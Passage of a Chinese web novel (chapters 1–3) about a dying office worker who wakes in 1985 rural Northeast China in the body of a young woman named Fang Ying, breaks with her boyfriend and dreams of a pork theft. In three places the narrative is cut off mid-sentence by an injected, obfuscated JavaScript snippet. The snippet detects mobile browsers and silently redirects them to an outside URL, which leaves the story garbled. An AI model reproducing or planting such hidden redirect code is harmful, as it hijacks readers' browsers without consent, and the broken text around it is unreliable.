《穿回80年代当裁缝》 1. 第1章 穿成年轻的她 通宵加班的第二天早上,袁柔到公司楼下买咖啡,昏倒在咖啡店,被救护车送来医院。 医生看着她的检查报告,眉头紧锁,“你家人来了吗?” “没有,您直接和我说就行。”袁柔问道:“医生,请问我得了什么病?” 医生用笔划了划X光片的一处区域,“你肝脏的这个位置有阴影,”医生停顿了一下,“初步怀疑是恶性肿瘤。” “您是说,肝癌!?”袁柔如遭雷击,无法接受,“医生,我今年才29岁,我怎么会得癌症呢?” 医生说了些安慰的话,建议袁柔住院观察,并且做进一步检查。 袁柔六神无主地走出医生的办公室,她点开手机,缓慢滑动通讯录的联系人,不知能将这个噩耗通知给谁。 她想过有一天她会孤独的死去,却没想到那一天这么快就要来了。 一通电话打进来,她接起,电话那头传来老板的声音:“昨天晚上我让你改的服装设计方案改好没有?客户那边追着要呢!” 老板的语气一如既往,像眉毛着了火、又像吃了枪药,“袁柔,不是我说你,公司忙的时候,你有点小毛病忍一忍不行吗?能不请假就别请假!再说了,你就是请假也不能耽误工作啊,你……” 老板滔滔不绝,PUA的话语如爆豆一般从手机里四向喷射出来,但袁柔一句也没有听进去。 电话里吵,医院的走廊里也很吵,她走无人的步梯下楼,在两层楼中间的平台停下脚步,对着手机带着哭腔说了一句:“对不起,我不干了。” 电话那头寂静几秒,再开口语气缓和了几分,但依旧高高在上令人厌恶,“说实话你不干有的是人干,咱公司招人很容易,但你毕竟是老员工,我劝你考虑清楚。现在工作难找,你马上30岁了未婚未育,在就业市场上很尴尬……” 袁柔挂断电话,呆愣愣地站在原地。一口气郁结在胸口,先是气愤,再是茫然,最后才是悲伤。她想要发泄,却没有放声嚎啕,只是吞声饮泣。 她这个人就是这样,懦弱又太有素质,连崩溃都是窝窝囊囊。 她流泪许久,孤独地,静静地,直到一个大爷走进楼梯口。 大爷向下走了几阶楼梯,拿出手机拨打一通电话,“喂!前几天我托你办那个事儿,你帮我问没?” 袁柔和大爷距离不远,看得清他的样貌。 这个大爷约莫六七十岁,体态偏胖,头发灰白,面有皱纹,气色却健康红润,眼神透着兴奋期待,对手机问道:“邻村赵寡妇,她愿意不?” 大爷的手机开着外放,对面人的回答袁柔也听得一清二楚:“老陈,你也太着急了吧?你家我嫂子还没……还健在呢,你就这么急着找后老伴?” “你嫂子没几天活头儿了,我这不是寻思提前打听打听么。”陈大爷毫无悲伤之色,甚至嘿嘿笑了两声,“不瞒你说,我和赵寡妇年轻时候就好过一段儿……” 袁柔无暇继续听下去,擦干眼泪去办理了住院手续。 住院部床位紧张,她被安排在一间双人病房。 病房里原本住着一位大妈。 大妈衣着朴素,形容枯槁,四肢瘦得皮包骨头,肚子却病态胀大,像火柴人捧了个西瓜。她脸上的病色和愁容两相参半,正在一张病床上侧卧着抽烟。 瞧见袁柔进门,大妈从床上坐起身,随即掩藏起眼中的忧愁,热情地对袁柔打招呼道:“姑娘,你住我对床吗?” 袁柔点了点头,“嗯嗯,阿姨好。” 她看了大妈一眼,又移开目光,因为她觉得她的样子着实有些吓人。 大妈吐出一口烟圈,试探问道:“姑娘,你啥病啊?” 袁柔轻轻答道:“说是、说是肝病。” 大妈直截了当,“也是肝癌吗?” “可能是,”袁柔有一丝不悦,无奈地说:“还没确定。” 大妈看着袁柔,眼神中除了同病相怜的难过,还有悲悯和惋惜,轻叹了口气道:“这么年轻,怎么也得这个病呢。你多大了?嫁人了吗?家人朋友咋没来陪你啊?” 袁柔没再搭话,自顾自整理起床铺。她被烟呛到,低声咳了两声。 “哎呀,你闻不了烟味吧?”大妈略带歉意地问道。 袁柔嘴角掠过一抹礼貌而有点尴尬的浅浅微笑,“啊,是有点呛。” “不好意思噢,姨不抽了。”大妈连忙掐灭手中的半截烟,“你进屋时候就该说出来,别人让你难受,你不能忍着呀。” 她呵呵一笑,“这医院病房不让抽烟,护士也来说过,但我就这点爱好,实在戒不了。前些天我都走出去抽,但这几天腿脚发沉,走道费劲了。” 她们正说话时,传来两声轻轻的敲门声,随后一个男人走进来,手上提着漂亮精致的果篮,站定后对大妈露出柔和的笑意,“英子,好久不见。” 男人脸上看得出岁月的痕迹,但他身材挺拔,毫无老态颓态,眉宇之间有种时光沉淀后的从容自若和处变不惊。最特别的是他的声音,出奇的清脆高亢,如同山间的清泉,清澈纯净,毫无杂质。 袁柔觉得这位先生眼熟,好像在哪里见过。 大妈比袁柔先认出男人,“于穹!你怎么来了?!” 袁柔恍然大悟,眼前这个男人,正是著名二人转表演艺术家于穹先生,可谓家喻户晓的一代名角。 不过现实中见到他,倒觉得他的气质斯文儒雅、沉稳内敛,并不似在台上表演时那般活力四射、热情如火。 “我听说你病了,打听到你在这家医院,所以来看看你。”于穹看向大妈,眼中浮现极其隐蔽却程度极深的伤感,问道:“方英,我的电话和地址你都有,你来省城,怎么不跟我说一声?也不去找我?” 方英似乎强打起精神,洒脱地笑着说:“你是大忙人,我这点小事儿,给你添麻烦干啥呢。” “别说见外的话,再怎么说,咱们是同乡。”于穹顿了顿,似在回忆,“算起来,咱俩有将近四十年没见了吧?” “嗯,差不多了。”方英笑道:“不过,我经常在电视上看到你,”她端详着于穹,“你还和年轻那会儿一样,在同龄人里俊得出类拔萃。” 于穹轻声笑了笑,坐到床边拿起水果刀削苹果,“你和当初,也没怎么变。” “得了吧!当年还是小姑娘呢,现在都成老太太喽。”方英抬手摸了一下自己的脸,又挽了挽鬓边的碎发,“在农村种了一辈子地,风吹日晒操劳的,哪还有当初的样子。” 于穹喃喃道:“没变,没变。”他将削好的苹果递给她,“吃个苹果吧。” 方英接过苹果咬了一口,“这苹果又脆又甜,真好吃。”她腮帮的皱纹勾起弧度,微微笑了一下,“我家广林爱吃面苹果,我们平时很少买这种的。” 于穹眸光微动,缓缓说道:“广林能娶到你,是他的福气。” 方英露出若有似无的幸福神色,笑着说:“广林对我也好。”她说完这话,笑容渐渐变淡,眼中的忧虑和愁绪再次浮现,“我真想多活几年,我放心不下他。” 于穹小心翼翼地问道:“英子,你的病,怎么样?” 方英苦笑一下,“好不了了。”她抚了一下鼓胀的肚子,“现在肚子里都是腹水,里面的瘤都扩散了,像一串铃铛,前几天我还走得动,走起路来好像能听见哗铃哗铃响。” “我不怕死,但我舍不得广林。”她眼眶泛红,落下泪来,“他不会做饭,真希望我能多活些日子,多给他做几顿饭。” 于穹听着,眼中闪烁起不忍的泪光,沉默良久开口:“其实那年冬天,你们家的猪肉,不是我……” “哎哟!这不是于穹吗?!你咋在这啊?” 于穹的话说了一半,被进门的人打断,他站起身,对来人说:“广林,我来看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陈广林目光闪躲,“我偷的又能咋地,英子都嫁给我这些年了。”他满不在乎,含糊打哈哈道:“于穹,这点陈芝麻烂谷子的事儿,你提它干啥?”他拍拍他的肩膀,“走走走!罚你请我喝酒!” 于穹被推着朝门口走了两步,又停下来,回头望向方英,眼里藏着隐晦的哀伤和不甘,迟疑后开口只说了句:“英子,好好养病,保重身体,我改天再来看你。” 方英没回应他的话,双眼依旧睁得好大,似是还没从方才的震惊中回过神来。 她的这种状态持续好久,两个男人离开后,她像一尊雕像一样僵硬地坐在床上,不说话也不动。 袁柔向来话少,和陌生人更是不愿攀谈。她和方英各自无言,沉默地共处一室,直到深夜。 袁柔躺在她那张病床上,忧愁自己的病,哀伤自己孤独且短暂的窝囊人生。 她昏沉欲睡时,听见“咣”的一声沉闷却震耳的倒地声,她猛然惊坐起,发现方英整个人倒在地上,身子蜷缩成一团,痛苦地抽搐着。 袁柔慌忙下床,冲到方英身旁蹲下来,“阿姨,您没事吧?我扶您起来!不,我去帮您叫医生!” “不用,”方英拉住袁柔的手,枯瘦的手指用力将她的手攥得很紧,“姑娘,你能帮姨点支烟吗?”她的声音很虚,语气带着央求。 袁柔点头,“好。”她从方英的衣兜里摸出烟和打火机,微微颤抖着点燃了一支烟递到方英嘴边。 方英吸了一口烟,脸上的痛苦神色却未减轻半分,她看着袁柔,“孩子,希望你的病能好,自在快活一辈子。” 她挤出一个转瞬即逝的微笑,“是时候了,我要去见我的好姐们儿了。”此刻她的眼神中有悲痛有遗憾,竟还夹杂着一丝若有似无的希望,“下辈子,我绝对不要再嫁给陈广林……” 话音刚落下,那支烟掉落地上,方英口鼻同时吐出最后一口烟,然后发出一声痛苦的、绝望的、凄厉的惨叫,双目圆睁着断了气。 袁柔惊惧交加,僵在原地动弹不得,那缕烟如丝绸般飘散开来,飘进她的鼻腔,下一秒她竟然晕了过去。 好像晕了很久很久,再睁开眼,她躺在一铺土炕上,窝在暖乎乎的被窝里,四个陌生人围坐在她身旁,四双眼睛担忧地盯着她看。 袁柔茫然,那四张脸却渐渐露出笑容,“英子,你总算醒啦!” 2. 第2章 分手 围着袁柔的四个陌生人,两老两少、三女一男,“英子,你总算醒啦!昨天你去砸冰捞鱼,掉河里了,把我们都吓坏了。” 袁柔满眼困惑,她张望了一圈自己所处的小屋,好像在80年代东北农村影视剧中见过类似的布置:一铺土炕、两个陈旧的木质方柜、老式蓝色窗框的小方窗…… 她躺在炕上,警惕地裹紧身上的被子,对眼前四张陌生的脸问道:“请问,你们是谁啊?” “你这孩子,咋不认人了?”四人中的中年妇女伸手摸摸袁柔的脑门,“我是你妈,”她指了一下旁边的中年男人,“这是你爸,”她又看向坐在袁柔另一侧的两个20岁左右的女孩,“那俩不是你的好姐们儿么。” “好姐们儿?”袁柔想起,在方英临死前,也曾提到过这个词。 两个年轻女孩点了点头,“对呀。”其中一个皮肤较黑、体型较壮、头发自来卷,呲牙一笑说:“我是鲁枝枝。” 另外一个皮肤较白、瘦弱一些、两根长辫子垂到腰以下,接了话道:“我是盼儿,丘盼儿。” 袁柔一阵发懵,呆愣愣地问道:“那我是谁?” 丘盼儿道:“姐们儿,你不会傻了吧?你当然是方英呀!” “啊!?我是方英?!”袁柔震惊又难以置信,猛地在炕上坐起身,后背离了热炕,微凉的空气透过她的秋衣扑在她的背上,她不禁打了个冷颤,随后认真问道:“现在是哪一年?” “1985年。” “我是方英,我今年几岁?” “你虚岁19,马上过年了,明年20。” “有镜子吗?” 鲁枝枝从柜盖上拿过来一把小镜子,递给袁柔。 袁柔接过镜子,看着镜中的自己,她错愕到说不出话。 镜子里的她已经换了一副样貌,好年轻,好青涩,圆溜溜的眼睛清澈明亮,头发乌黑茂密,没有一丝疲倦和班味儿,满脸写着朝气蓬勃。而且她感觉得到,她现在的身体健康且充满力量。 袁柔恍然明白,她魂穿成了19岁的方英。她心中庆幸,她从一个29岁的、孤独的将死之人,变成了如今19岁的、有家人有朋友的健康人。 袁柔想到方英临死时的模样,暗下决心要为她、也为自己好好地活一场。 她的灵魂,和她的身体合而为一。从今往后,袁柔便是方英,方英也是袁柔。 方英目不转睛地看着镜子出神,久久地不说话。 英子妈无奈地说:“我看你是昨天掉河里,还没缓过神来。饿了吧?妈去给你煮碗热汤面,再加俩荷包蛋。” “对,英子你赶紧起来吧,收拾收拾吃饭,吃饱饭就好了。”英子爸从炕上下地,穿上棉鞋朝外走去,“今天咱家还得杀猪呢,我去找老李头去。” 英子爸英子妈出门后,方英拿过旁边的毛衣和棉裤往身上套,丘盼儿和鲁枝枝盯着她看,两个人的表情似笑非笑,八卦而意味深长。 “英子,你惨了。”鲁枝枝压低嗓子说道。 方英一怔,“我怎么惨了?” “陈广林生你气了呀。” 方英紧张地问道:“我和陈广林,已经结婚了吗?” “还没呢,但是你们俩处对象半年了,之前说是过几天他们家会来你家提亲,计划过年之前把亲事定下来。”鲁枝枝疑惑,“你忘了吗?” “从前的事我都不记得了。”方英心中暗暗松了一口气,因为她记得那个死去的方英的遗愿,就是下辈子绝对不要再嫁给陈广林。她淡淡问道:“他为什么生我气?” 丘盼儿问道:“你还记不记得,昨天你掉河里,是于穹路过河边看见了,是他跳下去把你救上来的?” 方英摇摇头,“不记得,我完全没印象。” “那你肯定也不记得,他和你……”鲁枝枝的眼珠转了转,脸上浮现一抹羞涩神色,“亲嘴儿。” “什么!?”方英目瞪口呆,难以接受,皱紧眉头问道:“我不是在和陈广林谈恋爱吗?我和于穹又是什么关系啊?原来我们三个是三角恋吗?” “不是的!”丘盼儿对鲁枝枝轻斥道:“枝枝你不清楚就别乱说!人家于穹说了,他不是在亲英子,是在,那叫什么来着?”她思索了一下,“哦,是在做人工呼吸!” 鲁枝枝耸了耸肩,“不管是亲,还是人工呼吸,反正你们两个被陈广林看见了,昨天他气急败坏,差点和于穹打起来。” 方英心想,方英的生活,还真是蛮精彩的。 她洗过脸刷过牙,热汤面也刚好煮好,矮小的方桌放在炕上,英子妈将那碗热气腾腾飘着香味的面端上小桌,“吃面喽!” 方英心中感动,微微红了眼眶。因为袁柔的母亲,在她三岁那年就因病去世了,这种来自母亲的温暖,在她记忆里都十分稀缺,弥足珍贵。 “谢谢您,”她停顿了一下,轻轻叫了声:“妈妈。” 英子妈噗嗤笑出了声,“你这掉河里一回,说话咋拿腔拿调的呢?口音好像都有点变了。”她听不习惯客套话,“跟妈客气啥,快吃饭吧!” 方英深深点了一下头,“好。” 她拿筷子夹起面条,正要往口中送,一个年轻小伙开门进来,大步径直走到她面前。 英子妈态度温和,“广林来了,来看英子啊?” 陈广林脸上的怨气混杂着怒气,一屁股坐在炕沿上,闷声“嗯。”了一声,整个人不高兴且没礼貌。 方英放下筷子,打量起陈广林。她很是意外,医院里那个身形臃肿、平平无奇的大爷,年轻时竟然长这个模样。 年轻的陈广林身材不胖而结实强壮,单眼皮高鼻梁,皮肤白净,生气的样子有点痞帅,不得不说颇具几分姿色! 而且以她这个曾经的服装设计师的眼光来看,陈广林的穿搭,无论在80年代、还是在40年后,都算得上时髦。他穿着一件棕色毛呢大衣,内搭白色高领毛衣,脖子上围了一条黑蓝格子的针织围巾,港风又韩范儿。 陈广林坐下后,满脸乌云,眉毛拧在一起。 方英住的房间是她家的西屋,父母则住在东屋。见气氛不妙,英子妈、鲁枝枝和丘盼儿识趣又默契地一起去了东屋,西屋里留下方英和陈广林两个人。 空气安静几秒,陈广林沉着脸开口:“昨天的事,你怎么解释?”他的语气极为强硬,像在质问。 “我掉到河里,脑子可能受伤了,以前的事我都忘了。”方英心平气和,“我听说,是于穹见义勇为救了我。” “他那哪是救你,明明是非礼你!”陈广林怒气冲冲,“昨天咱俩一起去砸鱼,中途我回家取抄网,再回去就看见你浑身湿透躺在岸边人事不省,于穹在旁边光着膀子亲你,还按你……” 他的脸涨得通红,重重拍了两下自己的胸脯,“这儿!” 方英想了想说:“那应该是在做人工呼吸和心肺复苏吧,急救落水昏迷的人,的确要那么做,于穹没有做错。” “你还向着他说话!?”陈广林火冒三丈,瞪着眼睛对方英吼道:“方英子你说实话,你是不是变心了?还是你早就对那小子有意思?” “咱俩处对象半年,你顶多让我拉拉你手,说什么其他的要等结婚后,怎么换成他亲你摸你,你就无所谓了?” 方英有点被陈广林的大吼大叫吓到。若她是从前的袁柔,估计会唯唯诺诺好声好气地解释一大堆,甚至道歉,但是现在,她是方英,她发誓不要再窝囊了。 “你的女朋友大冬天掉到河里差点淹死,你对她没有一点心疼,也不关心她的健康状态,竟然跑过来兴师问罪?”她直直看向陈广林,眼神冷漠而坚定,大声说道:“陈广林,我们分手吧!” 陈广林如遭晴天霹雳,整个人先是愣住,随后脸上的表情风云变幻,震惊、恼怒、不安、委屈混杂在一起,“你不跟我好了?要和我黄?” 方英斩钉截铁,“对。正式分手,以后我们不再是情侣。” 陈广林似乎很难过,声音变得有些嘶哑,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“对,但陈广林家就不一样了。”丘盼儿眨了眨眼,“老陈家可是坐地炮儿,一大家子人,陈广林的兄弟姐妹、叔伯姑舅一大群。” “而且陈广林家是咱村第一个万元户,很有钱的!家里吃的好用的好,有彩色电视机、有大摩托,明年好像还要买台拖拉机呢!” 方英若有所思,她似乎有一点理解了,在这个时代,那个原本的方英,为何会选择陈广林。 “英子,如果于穹和广林这两个选的话,我也觉得你该选陈广林。”鲁枝枝挠了挠她的羊毛头发,“于穹虽然长得俊有才艺,但他这个名字不好!” 她面露一丝嫌弃,“别人起名都叫‘发’呀、‘富’啊什么的,他们老于家本来就穷,他还叫‘于穷’……” 方英无语地笑出了声,“于穹名字里的‘穹’字,不是贫穷的‘穷’,而是苍穹的‘穹’,是天空的意思。” 鲁枝枝的眼神清澈愚钝,竟有几分可爱,她张开嘴巴:“哈?” 丘盼儿哈哈笑道:“枝枝,你真没文化,我就说你小时候应该多上几年学的!” “我没文化,你有文化行了吧?”鲁枝枝白了丘盼儿一眼,“不就多念几年书么,有什么可牛的。” 方英问道:“枝枝,你念过几年书啊?” 鲁枝枝答:“我脑子笨,不爱上学,小学毕业就不念喽,下地干农活。” 方英:“那我呢?” 鲁枝枝思考了一下,“你应该是上过八年学,念完初二下来的。” 丘盼儿眼里闪着骄傲,笑吟吟道:“英子,我比你还多一年,我读到初中毕业~” 方英轻轻笑了笑,她看着她的两个好姐们儿,看着她们纯真稚嫩的脸,不禁好奇她们未来的命运,想知道她们以后会过怎样的生活。 开门声将她的思绪拉回现实,英子爸进门,对英子妈说:“老李大哥找来了,”又对方英说:“英子,你去各家叫人,来帮咱家杀猪。” 3. 第3章 杀猪 在这个没有手机、没有群聊的年代,有什么事情全靠跑腿通知。 鲁枝枝和丘盼儿陪方英走了一家又一家,找人来方家帮忙杀猪。方英在村子里转了一圈,将村里的人认了个大概。 方家人缘很好,而且方英并不是独生女,她的两个哥哥和一个姐姐均已各自成家另过,但仍在本村生活。等方英再回到家,来帮忙的乡亲屯邻已经到了几十人。 男人们在院子里,围在杀猪匠老李头周围,闹哄哄地商量待会儿杀猪的分工合作,当然,也唠些闲嗑。 女人们聚在厨房,烧水、切酸菜、泡粉条……忙碌着准备做杀猪菜。 方英在一众手脚麻利但相貌平平的婆子、媳妇儿中,瞧见一个模样极为出挑的年轻姑娘。 那姑娘约莫二十出头,穿着一件胳膊肘和肩膀都打着补丁的红花棉袄,露出的手和脸蛋白嫩得不像话。姑娘的身材苗条轻盈,脸上却满满胶原蛋白,真可谓肤如凝脂、面若桃花、弱柳扶风、楚楚可怜。 方英对丘盼儿和鲁枝枝问道:“那个女孩是谁呀?” 丘盼儿寻着方英的目光看去,“她你也不记得了?她是咱村赵玉娇啊。” “赵玉娇,”方英不禁感叹了一句:“她可真漂亮。” 盼儿和枝枝同时转过头,皱着眉瞪着眼,诧异、疑惑、不解地看向方英,“你不是最讨厌她了吗?”鲁枝枝压低声音说道。 “是吗?”方英很是意外,“为什么?” 盼儿朝赵玉娇的方向瞥了一眼,不屑道:“因为她不挑食捡剩菜呗,咱们都看不上她。” 方英思索着说:“看她的穿着,她家里应该不富裕,生活节俭些,吃些剩饭剩菜,这算不上什么错处吧。” “什么呀!不是说她吃剩饭剩菜,我们是说她不正经不自爱,爱勾搭男人,还捡别人不要的。”鲁枝枝忿忿不平,“咱村凡是有点钱的年轻小伙儿,鲫瓜壳子、三愣子、黄眼耗子都跟她不清不楚的。” “鲫瓜壳子、三愣子、黄眼耗子”,听到这些奇奇怪怪的绰号,方英忍俊不禁,咯咯笑出了声。 丘盼儿轻声嗔怪道:“英子,你还笑!” “你和陈广林处对象之前,赵玉娇可是勾搭过陈广林的!但广林没选她选了你,因为这事你们俩一直不对付,今天要不是为了吃口猪肉,她才不会来你家帮忙呢。” 方英愣了一下,头脑中闪过一个推测,在多年以后,原本的方英死前,老年陈广林惦记娶的后老伴,那位姓赵的寡妇,难不成就是现在的赵玉娇? 她远远看向风华正茂的赵玉娇,“她长得那么美,我看未必是她勾引陈广林,兴许是陈广林骚扰她。” “我不觉得她美,小脸儿还没个拳头大。”鲁枝枝梗着脖子,“成天那副柔柔弱弱的样子,手不能提肩不能抗的,在那装林黛玉。”她撇了撇嘴,“瞅她瘦那个样儿,一看就没福。” “你说她就说她,怎么瘦人就没福了?”丘盼儿也比较纤瘦,所以被气到,“你手能提肩能抗,壮得跟头小牛一样,我看你不应该叫鲁枝枝,干脆改名叫鲁智深好啦!” “你说谁是鲁智深?!” “你!你就是鲁智深!鲁智深,鲁智深……” 盼儿嬉笑着往方英身后躲,枝枝气恼地伸胳膊抓她,不小心一把推在方英的肩上。 枝枝力气很大,方英被推得一个踉跄向侧后方倒去。 突然之间,她的腰被一条修长有力的手臂揽住,一个高挑挺拔的年轻男人出现在她面前,方英下意识地抬手,扶住男人的肩膀。 她与他面对面站着,这一刻竟有些像双人舞的姿势。 男人先收回手,“你没事吧?” 方英也放下手,呆呆说了声:“没事,谢谢。” 她听得出他干净清澈的嗓音,也认得出他的脸,眼前这个男人正是年轻的于穹。 她只是心中震撼,年轻的他竟然如此英俊帅气,眉目如画,五官既漂亮又英气。他仪态端庄,朴素的灰毛衣和黑棉袄穿在他身上板正有型。 “我进屋来拿个盆,等下接猪血用。”于穹问道:“英子,你们家盆在哪?” 方英还有点懵,随手从旁边的灶台上拿了一个巴掌大的空盆递给于穹。 于穹一脸诧异,“这小盆哪够用啊?” 英子妈拿来一个大铁盆,“小穹,给你这个大盆。”她望了方英一眼,慈爱的眼神中略带一丝无奈,“我们家英子昨天掉河里,现在脑瓜有点犯迷糊。” 她继续对于穹说:“小穹,昨天多亏你救英子上来,一会儿别外道,多吃几块猪肉哈。” 于穹嘴角掠过一抹稍显腼腆的笑,“婶,昨天我碰巧路过,应该做的。” 他说罢,端着盆去院子里继续帮忙了。 方英怔在原地,望着于穹的背影若有所思。 鲁枝枝拍了一下她的肩膀,“英子,你看什么呢?你不会对于穹‘犯迷糊’了吧?” “可别,我劝你还是快点跟广林和好。”丘盼儿一脸认真,凑近方英耳边低声说:“小心赵玉娇贴上陈广林,到时候你后悔都来不及。” 方英不以为意,“我和陈广林结束了,如果赵玉娇喜欢他,正好成全他们。” 盼儿和枝枝对视一眼,没有再劝,她们默契地认为方英在说气话。 方英沉默半晌,幽幽开口问道:“你们觉得,于穹,喜欢方英吗?” 因为她回想起,当时在医院的病房,于穹对方英,似乎有种隐藏的情愫,可能是纯洁的友情,也可能是曾经的暗恋,说不清道不明。 她不禁猜测,多年以后于穹仍然未娶,是否因为他对方英爱而不得。 方英的问题令盼儿和枝枝意外,她们俩思考了好一会儿才开口: “他可能,有点感激你吧。”鲁枝枝回忆道:“去年有一次,他跟剧院的人一起到乡里演出,咱们也过去看了,那天不知哪来两个赖子,在台下起哄,逼于穹唱粉词儿。” “于穹不肯,他们朝他砸臭鸡蛋,你看不过去,和那两个赖子打起来,你脑袋被打了好大一个包。” “对,我记得当时是秋天,刚收完麦子。”丘盼儿说道:“后来你不知从哪找到一把镰刀,抡着刀朝那两个赖子冲过去,然后把他们吓跑了。” 方英听得目瞪口呆,“我竟然敢和地痞流氓打架!我这么英勇?一点都不窝囊?!” “你当然不窝囊啦!”丘盼儿似笑非笑,“你在咱村可是出了名的蛮。” 方英眼中闪烁起自豪和欣慰的喜悦光彩,她好喜欢现在的自己,不是那个窝囊懦弱的袁柔,而是英勇酷飒的方英,尽管有些野蛮鲁莽。 “应该就是那一次,于穹心里会有点感谢你。”鲁枝枝挠了挠自来卷的头发,“虽然一个村住着,但是平时,你和他没什么交情。” “于穹虽然挺热心的,各家有事都到场帮忙,但我感觉,他那人其实很难接近,好像和谁交情都不算深。” 方英问道:“怎么说?” 丘盼儿:“他台上台下完全两幅样子,在台上唱戏的时候活泼热情,但生活中他话不多,也不爱和咱们村这些年轻人一起玩,空闲时间基本一个人练功。” 盼儿得出结论:“英子,依我看于穹不喜欢你,也不喜欢别家的姑娘,他只喜欢唱戏。” 方英轻轻点了点头,她想,于穹不婚或许是因为专注于二人转演艺事业。至少目前,他是不爱方英的。 在这个年代,对于一个农村家庭来说,杀猪是年终岁尾的一件大事,也是件麻烦事。不过好在,来帮忙的人很多,人们齐心协力,有条不紊地顺利完成了这件大事。 猪肉卸好后,用雪埋上冻在了院子里。 乡亲们欢聚在一起,热热闹闹地大吃了一顿杀猪菜。 东北的冬天,太阳落山很早,七点多钟宾客各自散去,天已经完全黑了。 送走最后一位客人,英子爸回到家,一进门便扶住墙,“哎呀天哪,这些人太能喝了!”他揉了揉太阳穴,对英子妈道:“老婆子,你和英子收拾收拾厨房,我脑袋迷糊,得回屋躺着了。” 他陪来客喝了太多酒,此刻头重脚轻,只想睡觉。 英子妈应了一声,和方英一起打扫了厨房、刷了聚餐的碗筷、又抱来劈好的柴烧炕。 “英子,你那屋炕也多烧点,妈看下午就开始阴天,今黑可能要下雪,柴烧少了夜里冷。” 方英点点头,“嗯,好。” 以前是袁柔的时候,她没有睡过火炕,只在电视剧里见过人烧火炕。不过当她蹲在灶前,拿起木柴填入灶坑,竟有种源自方英肌肉记忆的熟悉感。 她心想,看来方英会做的事,她其实是做得来的,只需要多加练习,认真一点。 英子妈看着方英聚精会神的样子,以为她是在想女儿家的心事,温声开口道:“看来广林,是真和你生气了,咱家杀猪他都没露面。之前每次咱家有事,他都来帮着忙前忙后的。” 方英满不在乎,“他不来就不来呗。”她抬头看向母亲,坚决地说道:“妈,我不要嫁给陈广林,绝对不要。” 英子妈有点无奈,“你这孩子,真让人搞不懂。以前成天说陈广林这也好那也好,别人给你介绍城里的对象你都不去相看,就要跟陈广林好,这怎么掉河里一次,醒来就全变了?” 方英不知该如何解释,沉默半晌开口道:“因为我想起来,上辈子我很后悔嫁给他。” 英子妈笑道:“净说傻话,你还能记得上辈子的事儿啊?” 方英正思考怎么含糊过去,顶棚昏黄的小灯泡突然熄灭,屋子陷入漆黑,只有灶坑里燃烧着的柴发着暖融融的红光。 “又停电了,回屋早点睡吧。”英子妈说道。 村里前两年刚通电,供电极为不稳,停电是常有的事。 方英和母亲往灶坑里添了些柴,便摸着黑各自回了屋。 方英躺在温暖的被窝里,只觉前所未有的心神宁静。这里没有光污染、噪声污染、工作 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242708|197806||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 群消息的污染,是真正的万籁俱寂。 她以前经常失眠,今天却很快就睡着了。 睡着之后,她做了一个十分真实的梦。 梦开始的时间,是明天,是今夜之后的明天早上。 在梦里,她被母亲惊慌悲痛的哭喊声叫醒:“英子,咱家猪肉被偷了!你爸气昏了!” 梦里的她冲到院子里,看见父亲倒在雪地里口吐白沫,卸好埋在雪里的那头猪,猪腿和排骨全部消失不见,只留下孤零零的一个猪头。 猪头上贴着一张红纸写的字条: “老方头: 你养猪一年,我忙活半宿。 来年你杀猪,肉我还来取1!” 她和母亲不知所措时,陈广林跑进院子,“英子,我叔这是咋了!?” 梦里的方英又急又怕,哭着和陈广林说了事情的原委。 “我叔这是急火攻心,这病怕是不好,得赶紧送医院!” 英子妈抹着眼泪,“积雪这么厚,把道都封住了,马车恐怕走不了吧,咋往医院送啊?” 陈广林犹豫了一下,眼神变得坚毅,“我现在去叫人,用人抬!”他伸手摸了一下方英的脸,替她擦去眼泪,“英子,别担心,这事儿包在我身上。” 他说罢,转身以百米冲刺的速度跑出方英家的院子。 不一会儿,他带着十几个年轻力壮的男人,抬着担架跑回方家院子。这十几人,几乎全姓陈,都是陈广林的亲戚。 他们把英子爸抬上担架,一路换班,走大雪没过膝盖的乡道,一步步把英子爸抬到几十里外的县城医院。 经过抢救,英子爸脱离危险,捡回了一条命。 在抢救室外,医生说:“幸亏你们送来得及时,要是再晚半个小时,这人就完了。” 梦里的英子脆弱无助、喜极而泣、感激涕零,不顾旁人的目光,扑进陈广林的怀里,和他紧紧抱在一起。 她与他之间再无任何嫌隙,对他除了感激,便是死心塌地的爱。 这个梦很长,并不连续。 下一个场景回到了村里,一群人闹哄哄地聚在一起,说是抓住了偷老方家猪肉的贼。 方英挤过人群,走到最前面,看到了那个被人指点谩骂的偷肉贼。 那个年轻人红着眼睛,委屈却倔强,一遍遍说着:“不是我,我没有偷!” 她与他目光交汇,她认得他,他是于穹。但在梦里,她不信他。 梦里接下来的一幕幕过得飞快。 她和陈广林办了喜酒,他们的儿子出生,孩子一天天长大,他们一天天变老。 陈广林懒惰自私,但是她爱他。她怀孕的时候,挺着大肚子一个人做家务,她有什么好东西,都首先想着给广林。 陈广林不思进取,但是她爱他。时代飞速发展,她提过去南方打工,也想过去城里做买卖,但是都被他否决,因为他安于现状、惧怕改变。 陈广林浪荡不忠,但是她爱他。赵玉娇不到三十岁就守寡,那之后陈广林与她常有往来,风言风语传进方英的耳朵。 在梦里,她顾不得体面,多次跑到赵玉娇家门口骂街,用最粗俗的咒骂发泄愤怒。她骗自己都是那个女人的错,是那个女人下贱不检点,是那个女人用下流的招数勾引她的丈夫。 她恨透了赵玉娇,恨不得扇烂她的脸、恨不得撕烂她的嘴、恨不得让她死。但是,她却舍不得恨陈广林。 不过,她对陈广林的爱也偶有动摇,但他无数次提醒她:“那年冬天,于穹偷你们家猪肉,要不是我送你爸去医院,你爸当时就完了。” 